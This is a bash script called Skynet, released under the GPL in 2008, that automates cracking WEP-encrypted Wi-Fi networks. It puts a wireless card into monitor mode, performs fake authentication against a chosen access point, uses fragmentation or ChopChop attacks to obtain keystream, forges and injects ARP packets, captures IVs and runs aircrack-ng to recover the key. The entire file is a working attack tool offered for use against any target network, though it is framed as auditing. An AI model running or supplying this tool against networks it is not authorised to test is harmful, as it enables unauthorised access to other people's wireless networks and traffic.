#!/bin/bash
# Skynet - An automated WEP Cracking tool
# Copyright (C) 2008  Adam & Vyrus of DC949
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
#
# Description:
#      Skynet is a script which aims to make auditing WEP encrypted
# networks fully autonomous.  It uses aircrack, and wireless-tools.
# It requires that you have drivers which have been patched for
# injection.  For more info about patching your drivers check here:
# http://aircrack-ng.org/doku.php?id=install_drivers
#
# Feel free to report any bugs to the authors:
# adam@dc949.org and/or vyrus@dc949.org
#
# Or just drop by the site and hit up our forums at http://www.dc949.org
#

# trap CTRL-C and execute the killing() function:
trap killing INT

# Default values
OUTPUT_TARGET="/dev/null"
PACKETS=2
LISTEN_MODE=true
TALK_MODE=true
SKIP_SET_MONITOR=false
ATTACK="-z"
REPLAY_ATTACK="-5"
KILL_EVERYTHING_WHEN_DONE=true
SKIP_AUTHENTICATION="false"
ENABLE_COLORS="true"
WAIT_TIME=30
MINIMUM_CAPTURE_FILESIZE=10000000

###
# This is executed when the program is killed via ctrl+c.
# It ensures that the temporary files created are properly cleaned up
###
function killing() {
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput setaf 2; tput setab 0;
  fi
  echo ""
  echo ""
  echo "Cleaning up temporary files..."
  echo ""
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput sgr0
  fi

  pids=`ps -ef | awk '$3 == '$$' { print $2 }'`

  kill `echo $pids | cut --d=" " -f 1` &> /dev/null
  kill `echo $pids | cut --d=" " -f 3` &> /dev/null

  for i in `ps -ef | awk '$3 == '$$' { print $2 }'`
    do
      kill $i &> /dev/null
      wait $i &> /dev/null
  done


  rm -f arp-request.$$.*
  rm -f skynet.capture.$$*
  rm -f replay_src-*.cap
  rm -f /tmp/skynet.${$}.tmp

  exit 1
}

function isInPath() {
  which $1 &> /dev/null
  if [[ $? -ne 0 ]]; then
    if [[ "$programsNotInPath" == "" ]]; then
      programsNotInPath=$1
    else
      programsNotInPath="${programsNotInPath}, $1"
    fi
  fi
}

function echoMessage() {
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput setaf 2; tput setab 0;
  fi
  echo $*
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput sgr0
  fi
}

function echoError() {
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput setaf 1; tput setab 0;
  fi
  echo $*
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput sgr0
  fi
}

function echoWarning() {
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput setaf 3; tput setab 0;
  fi
  echo $*
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput sgr0
  fi
}

function echoPrompt() {
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput setaf 4; tput setab 0;
  fi
  echo $*
  if [[ "$ENABLE_COLORS" == "true" ]]; then
    tput sgr0
  fi
}


# check to make sure all necessary programs are available in the PATH
isInPath ls;
isInPath rm;
isInPath echo;
isInPath grep;
isInPath awk;
isInPath cut;
isInPath sed;
isInPath yes;
isInPath tee;
isInPath sleep;
isInPath ifconfig;
isInPath iwconfig;
isInPath aireplay-ng;
isInPath packetforge-ng;
isInPath airodump-ng;
isInPath aircrack-ng;

if [[ "$programsNotInPath" != "" ]]; then
  echoError "***ERROR: Programs not in path: $programsNotInPath";
  exit
fi

# loop through command line args
for arg in "$@"; do
  if [[ "${arg}" == "--interface="* ]]; then
    INTERFACE=${arg##--interface=}
  fi
  if [[ "${arg}" == "--essid="* ]]; then
    ESSID="${arg##--essid=}"
  fi
  if [[ "${arg}" == "--bssid="* ]]; then
    BSSID=${arg##--bssid=}
  fi
  if [[ "${arg}" == "--channel="* ]]; then
    CHANNEL=${arg##--channel=}
  fi
  if [[ "${arg}" == "--packets="* ]]; then
    PACKETS=${arg##--packets=}
  fi
  if [[ "${arg}" == "--skip-set-monitor="* ]]; then
    SKIP_SET_MONITOR=${arg##--skip-set-monitor=}
  elif [[ "${arg}" == "--skip-set-monitor" ]]; then
    SKIP_SET_MONITOR="true"
  fi
  if [[ "${arg}" == "-v" ]]; then
    OUTPUT_TARGET="/dev/stdout"
  fi
  if [[ "${arg}" == "--no-listen" ]]; then
    LISTEN_MODE="false"
  fi
  if [[ "${arg}" == "--no-talk" ]]; then
    TALK_MODE="false"
  fi
  if [[ "${arg}" == "--kill-when-done=*" ]]; then
    KILL_EVERYTHING_WHEN_DONE=${arg##--kill-when-done=}
  fi
  if [[ "${arg}" == "--attack="* ]]; then
    ATTACK_KEYWORD=${arg##--attack=}
    if [[ "$ATTACK_KEYWORD" == "PTW" ]]; then
      ATTACK="-z"
    elif [[ "$ATTACK_KEYWORD" == "KoreK" ]]; then
      ATTACK="-K"
    fi
  fi
  if [[ "${arg}" == "--replay-attack="* ]]; then
    ATTACK_KEYWORD=${arg##--replay-attack=}
    if [[ "$ATTACK_KEYWORD" == "ChopChop" ]]; then
      REPLAY_ATTACK="-4"
    elif [[ "$ATTACK_KEYWORD" == "Fragmentation" ]]; then
      REPLAY_ATTACK="-5"
    fi
  fi
  if [[ "${arg}" == "--skip-authentication" ]]; then
    SKIP_AUTHENTICATION=true
  elif [[ "${arg}" == "--skip-authentication="* ]]; then
    SKIP_AUTHENTICATION=${arg##--skip-authentication=}
  fi
  if [[ "${arg}" == "--no-color" ]]; then
    ENABLE_COLORS="false"
  fi
  if [[ "${arg}" == "--wait-time="* ]]; then
    WAIT_TIME=${arg##--wait-time=}
  fi
  if [[ "${arg}" == "--capture-filesize="* ]]; then
    MINIMUM_CAPTURE_FILESIZE=${arg##--wait-time=}
  fi
  if [[ "${arg}" == "--help" ]]; then
    echo -n "Usage: $0 [--interface=<interface>] [--essid=<essid>] [--bssid=<bssid>] "
    echo -n "[--channel=<channel>] [--skip-set-monitor=true] [--attack=PTW|KoreK] "
    echo -n "[--packets=<number of packets to inject simultaneously>] [-v] [--no-talk] [--no-listen] "
    echo -n "[--kill-when-done=true] [--replay-attack=Fragmentation|ChopChop] "
    echo -n "[--skip-authentication=false] [--no-color] [--wait-time=30] [--capture-filesize=1000000]"
    echo ""
    echo "    -v is for verbose mode"
    echo "    --help is this menu"
    echo "    --no-talk will not do any injection, it will just listen to the network"
    echo "    --no-listen will not listen for packets, it will only inject"
    echo "    --skip-set-monitor will skip putting the interface into monitor mode as some cards don't like this"
    echo "    --kill-when-done will kill airodump and aireplay when done, normally this is good unless you're cracking multiple APs simultaneously"
    echo "    --attack will choose which crypto attack to use, PTW is used by default"
    echo "    --no-color will disable colors, which is necessary for devices like the N900"
    echo "    --wait-time will set the time (in seconds) which it will listen for packets before it starts trying to crack"
    echo "    --capture-filesize the minimum amount of data to capture (in bytes) before it will start aircrack-ng"
    echo "    all others should be self explanitory"
    echo ""
    exit 1
  fi
done

# if not already given... ask user for interface
if [[ "${INTERFACE}" == "" ]]; then
  echoWarning "You may want to consider using the command line arguments:"
  echoWarning "Example $0 --interface=ath1 --essid=ProjectMayhem --bssid=00:14:BF:2A:5C:00 --channel=11"
  echoPrompt -n 'Enter wifi interface: '
  read INTERFACE
fi

echoMessage "Bringing up ${INTERFACE}"
ifconfig ${INTERFACE} up
if [[ $? -ne 0 ]] ; then
  echoError "***ERROR: Could not bring up ${INTERFACE}"
  echoError "***ERROR: Do you need to run something like this...?"
  echoError "***ERROR: iw dev wlan0 interface add ${INTERFACE} type monitor"
  echoError "***ERROR: or..."
  echoError "***ERROR: wlanconfig ${INTERFACE} create wlandev wifi0 wlanmode monitor"
  exit
fi

if [[ "${SKIP_SET_MONITOR}" != "true" ]]; then
  echoMessage "Setting interface ${INTERFACE} to mode \"rfmon\""
  ifconfig ${INTERFACE} down
  iwconfig ${INTERFACE} mode monitor
  ifconfig ${INTERFACE} up
  if [[ $? -ne 0 ]] ; then
    echoError "***ERROR: Could not set ${INTERFACE} to mode \"rfmon\""
    echoError "If using an atheros card, read up on wlanconfig for answers"
    exit
  fi
else
  echoMessage "Skipping setting interface to monitor mode, I hope you already did this"
fi

# ask user for network information, if it wasn't provided via CLI
if [[ "${ESSID}" == "" ]]; then
  echoPrompt -n 'Enter target essid: '
  read ESSID
fi

if [[ "${BSSID}" == "" ]]; then
  echoPrompt -n 'Enter target bssid: '
  read BSSID
fi

if [[ "${CHANNEL}" == "" ]]; then
  echoPrompt -n 'Enter target channel: '
  read CHANNEL
fi

# set interface to proper channel
echoMessage "Setting ${INTERFACE} channel to ${CHANNEL}"
iwconfig ${INTERFACE} channel ${CHANNEL}
if [[ $? -ne 0 ]] ; then
  echoError "***ERROR: Could not set ${INTERFACE} to channel ${CHANNEL}"
  exit
fi

# get MAC
MAC=`ifconfig ${INTERFACE} | grep -i HWaddr | awk '{ print $5 }' | cut -c1-17 | sed 's/-/:/g'`

if [[ "$TALK_MODE" == "true" ]]; then
  if [[ "$SKIP_AUTHENTICATION" == "false" ]]; then
    # run fake auth
    echoMessage "Authenticateing..."
    echoMessage aireplay-ng -1 0 -e "${ESSID}" -a ${BSSID} -h ${MAC} -q 10 ${INTERFACE} -D &> $OUTPUT_TARGET
    aireplay-ng -1 0 -e "${ESSID}" -a ${BSSID} -h $MAC -q 10 ${INTERFACE} -D &> $OUTPUT_TARGET
if [[ $? -ne 0 ]] ; then
      echoError -n "***ERROR: Could not authenticate with the AP"
      if [[ $OUTPUT_TARGET == "/dev/null" ]]; then
        echoError ", use -v for more details."
      else
        echoError "."
      fi
      echoError "***ERROR: Are your drivers patched for injection in monitor mode? (Hint: aireplay-ng --test ${INTERFACE})"
      exit
    fi
  else
    echoMessage "Skipping Authentication"
  fi

  for i in `seq 1 $PACKETS`; do
    # get IV packet for arp attack
    echoMessage "Getting IV packet (${i} of ${PACKETS}) for arp injection..."
    if [[ "$SKIP_AUTHENTICATION" == "false" ]]; then
      echoMessage nice yes \| nice aireplay-ng "${REPLAY_ATTACK}" -b \"$BSSID\" -h \"$MAC\" -D \"$INTERFACE\" | tee /tmp/skynet.${$}.tmp &> $OUTPUT_TARGET
      nice yes | nice aireplay-ng "${REPLAY_ATTACK}" -b "$BSSID" -h "$MAC" -D "$INTERFACE" | tee /tmp/skynet.${$}.tmp &> $OUTPUT_TARGET
    else
      # If we skipped the fake authentication, we need to specify the ESSID b/c we're not associated with the AP
      echoMessage nice yes \| nice aireplay-ng "${REPLAY_ATTACK}" -e \"$ESSID\" -b \"$BSSID\" -h \"$MAC\" -D \"$INTERFACE\" | tee /tmp/skynet.${$}.tmp &> $OUTPUT_TARGET
      nice yes | nice aireplay-ng "${REPLAY_ATTACK}" -e "$ESSID" -b "$BSSID" -h "$MAC" -D "$INTERFACE" | tee /tmp/skynet.${$}.tmp &> $OUTPUT_TARGET
    fi

    grep 'Thats our ARP packet!' /tmp/skynet.${$}.tmp &> $OUTPUT_TARGET
    if [[ $? -ne 0 ]] ; then
      grep 'Now you can build a packet with packetforge-ng out of that 1500 bytes keystream' /tmp/skynet.${$}.tmp &> $OUTPUT_TARGET
    fi
    if [[ $? -ne 0 ]] ; then
      echoError "***ERROR: Unable to get IV packet for arp injection!"
      FILENAME=`grep '.xor' /tmp/skynet.${$}.tmp | cut -d " " -f 4`
      echoError "***ERROR: Removing $FILENAME"
      rm -f $FILENAME
      echoError "***ERROR: Cleaning up temporary files"
      rm -f /tmp/skynet.${$}.tmp
      exit
    fi

    FILENAME=`grep '.xor' /tmp/skynet.${$}.tmp | cut -d " " -f 4`

    # Forge a packet to use for injection
    echoMessage "Forging a packet to use for injection..."
    echoMessage packetforge-ng -0 -a \"$BSSID\" -h \"$MAC\" -k 255.255.255.255 -l 255.255.255.255.255 \
                   -y \"$FILENAME\" -w arp-request.$$.$i &> $OUTPUT_TARGET
    packetforge-ng -0 -a "$BSSID" -h "$MAC" -k 255.255.255.255 -l 255.255.255.255.255 \
                   -y "$FILENAME" -w arp-request.$$.$i &> $OUTPUT_TARGET
    if [[ $? -ne 0 ]] ; then
      echoError "***ERROR: Could not forge packet for injection"
      rm -f "$FILENAME" "arp-request.$$.$i" /tmp/skynet.${$}.tmp
      exit
    fi

    rm $FILENAME
  done

  echoMessage "Cleaning up captures files"
  rm -f replay_src-$$.*

  for i in `ls arp-request.$$.*`; do
    echoMessage "Starting injection of arp packet $i"
    # saving the output to a log was taking up gigabytes of space and they were not at all helpful
    nice yes | nice aireplay-ng -2 -r "$i" "$INTERFACE" &>/dev/null &
    echoMessage ""
    echoMessage "Injecting and capturing in the background..."
    echoMessage ""
  done
fi

if [[ $LISTEN_MODE == "true" ]]; then
  echoMessage "Gathering packets for bruteforce..."
  echoMessage airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w skynet.capture.$$ "$INTERFACE" &> $OUTPUT_TARGET
  airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w skynet.capture.$$ "$INTERFACE" &> /dev/null &
  echoMessage ""
  echoMessage -n "Please wait while we gather information"

  sleep 20
  FILESIZE=`ls -l skynet.capture.$$*.cap | awk '{print $5}' | head -n 1`
  i=0
  previousFilesize=$FILESIZE
  lastIterFilesizeChanged=$i
  # we wait until we have 10MB of data (or until the timeout)
  while [[ $FILESIZE -lt $MINIMUM_CAPTURE_FILESIZE ]]; do
    echoMessage -n "."
    sleep 1
    FILESIZE=`ls -l skynet.capture.$$*.cap | awk '{print $5}'`

    if [[ $FILESIZE -ne $previousFilesize ]]; then
      lastIterFilesizeChanged=$i
      previousFilesize=$FILESIZE
    else
      let temp=$i-$lastIterFilesizeChanged
      if [[ $temp -ge $WAIT_TIME ]]; then
        echoError ""
        echoError "***ERROR: Hmmm, that's strange we didn't get any IVs in the past $temp seconds.";
        if [[ "$TALK_MODE" == "true" ]]; then
          ps -ef | grep aireplay-ng | grep -v grep &> /dev/null
          if [[ $? -ne 0 ]]; then
            echoError "***ERROR: Oh, aireplay-ng isn't running!  Well that explains some things!"
          fi
        fi
        echoError "***ERROR: Well, I guess I'll quit now.  Bye."
        killing
        exit 1
      fi
    fi
    let i++
  done

  aircrack-ng -z -b "$BSSID" skynet.capture.$$*.cap
fi

echoMessage "Cleaning up temporary files..."
rm -f arp-request.$$.*
rm -f /tmp/skynet.${$}.tmp
rm -f /tmp/skynet.*.log
rm -f $FILENAME
rm -f skynet.capture.$$*

# explain how skynet was ran, since it will not be in the command history if there was any user interaction
echoMessage -n "$0 --interface=${INTERFACE} "--essid=${ESSID}" --bssid=${BSSID} --channel=${CHANNEL} --packets=${PACKETS}"
if [[ ${OUTPUT_TARGET} == "/dev/stdout" ]]; then
  # BASH seems to strip leading and trailing spaces from the parms, so we use a tab here.
  echoMessage -n -e "\t-v"
fi
if [[ ${LISTEN_MODE} == "false" ]]; then
  echoMessage -n -e "\t--no-listen "
fi
if [[ ${TALK_MODE} == "false" ]]; then
  echoMessage -n -e "\t--no-talk"
fi
echoMessage ""

# kill all instances of airodump, aireplay, etc.
if [[ $KILL_EVERYTHING_WHEN_DONE == "true" ]]; then
	killing
fi


